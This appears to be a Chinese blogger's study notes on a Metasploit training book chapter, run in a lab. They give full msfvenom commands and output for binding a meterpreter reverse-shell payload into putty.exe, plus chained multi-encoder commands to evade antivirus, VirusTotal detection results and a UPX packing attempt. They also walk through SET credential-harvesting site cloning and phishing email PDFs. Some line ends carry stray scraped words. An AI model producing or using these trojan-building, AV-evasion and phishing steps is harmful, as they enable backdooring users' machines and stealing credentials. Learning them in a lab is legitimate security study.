《Metasploit魔鬼訓練營》第七章學習筆記

P314 木馬程序的製做git

  msfpayload和msfencoder已被msfvenom取代。使用msfvenom -h查看具體用法。如下網址也有相關教程:github

https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenomshell

  將載荷windows/meterpreter/reverse_tcp綁定到putty.exe上,產生新綁定木馬程序的可執行文件putty_backdoor.exe。apache

root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.132 LPORT=80 -e x86/shikata_ga_nai -f exe -i 5 -x /root/example/putty.exe -k -o putty_backdoor.exe 
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga_nai succeeded with size 387 (iteration=1)
x86/shikata_ga_nai succeeded with size 414 (iteration=2)
x86/shikata_ga_nai succeeded with size 441 (iteration=3)
x86/shikata_ga_nai succeeded with size 468 (iteration=4)
x86/shikata_ga_nai chosen with final size 468
Payload size: 468 bytes
Saved as: putty_backdoor.exe

  開啓監聽程序,在靶機上運行生成的putty_backdoor.exe,成功得到shell。windows

msf exploit(handler) > exploit 

[*] Started reverse TCP handler on 10.10.10.132:80 
[*] Starting the payload handler...
[*] Sending stage (957999 bytes) to 10.10.10.130
[*] Meterpreter session 1 opened (10.10.10.132:80 -> 10.10.10.130:3498) at 2016-04-05 20:36:32 +0800

meterpreter > sysinfo
Computer        : ROOT-TVI862UBEH
OS              : Windows .NET Server (Build 3790).
Architecture    : x86
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/win32

  比較糗的就是即便在虛擬機上操做,我主機上的windows defender也常常會把我生成的惡意文件刪掉。(只好暫時關掉)api

  實際中爲了躲避殺毒軟件的追殺,能夠進行嵌套編碼session

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.132 LPORT=80 -a x86 --platform windows -e x86/shikata_ga_nai -i 5 <
-f raw | msfvenom -e x86/alpha_upper -a x86 --platform windows -i 2 -f raw | msfvenom -e x86/shikata_ga_nai -a x86 <
--platform windows -i 5 -f raw | msfvenom -e x86/countdown -a x86 --platform windows -i 5 -f exe -x /root/example/putty.exe <
-k -o /root/example/payload08.exe

  算一算,通過x86/shikata_ga_nai編碼5次,x86/alpha_upper編碼2次,x86/shikata_ga_nai編碼5次,x86/countdown編碼5次,共17次!tcp

  爲了試驗下我們文件的免疫力,上傳到:網站

https://www.virustotal.com/en/ui

  結果56個殺毒軟件中有31個探測出來了,沒探測出來的包括騰訊、金山、百度。。嘿嘿!

加殼「免殺」

root@kali:~/example# upx -6 -o putty_backdoor_upx6.exe putty_backdoor.exe 
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2013
UPX 3.91        Markus Oberhumer, Laszlo Molnar & John Reiser   Sep 30th 2013

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
upx: putty_backdoor.exe: CantPackException: superfluous data between sections

Packed 1 file: 0 ok, 1 error.

  失敗。網上並無找到解決辦法。

P326 釣魚網站的製做:

  打開SET,依次選擇Social-Engineering Attacks->Website Attack Vectors->Credential Harvester Attack Method->Site Cloner,填入攻擊機地址和克隆網頁地址。記得要確保apache2服務已經開啓!

  靶機訪問http://10.10.10.128/,輸入賬號、密碼後能夠在攻擊機中成功監聽到:

 

P332 郵件釣魚:

  生成的pdf在目錄/root/.set/裏。按步驟作,最後選擇使用gmail發送,結果失敗:

  大概是由於gmail探測出了附件中的payload了。因此最好是使用下msfencoder等作一些「免殺」處理!

相關文章
相關標籤/搜索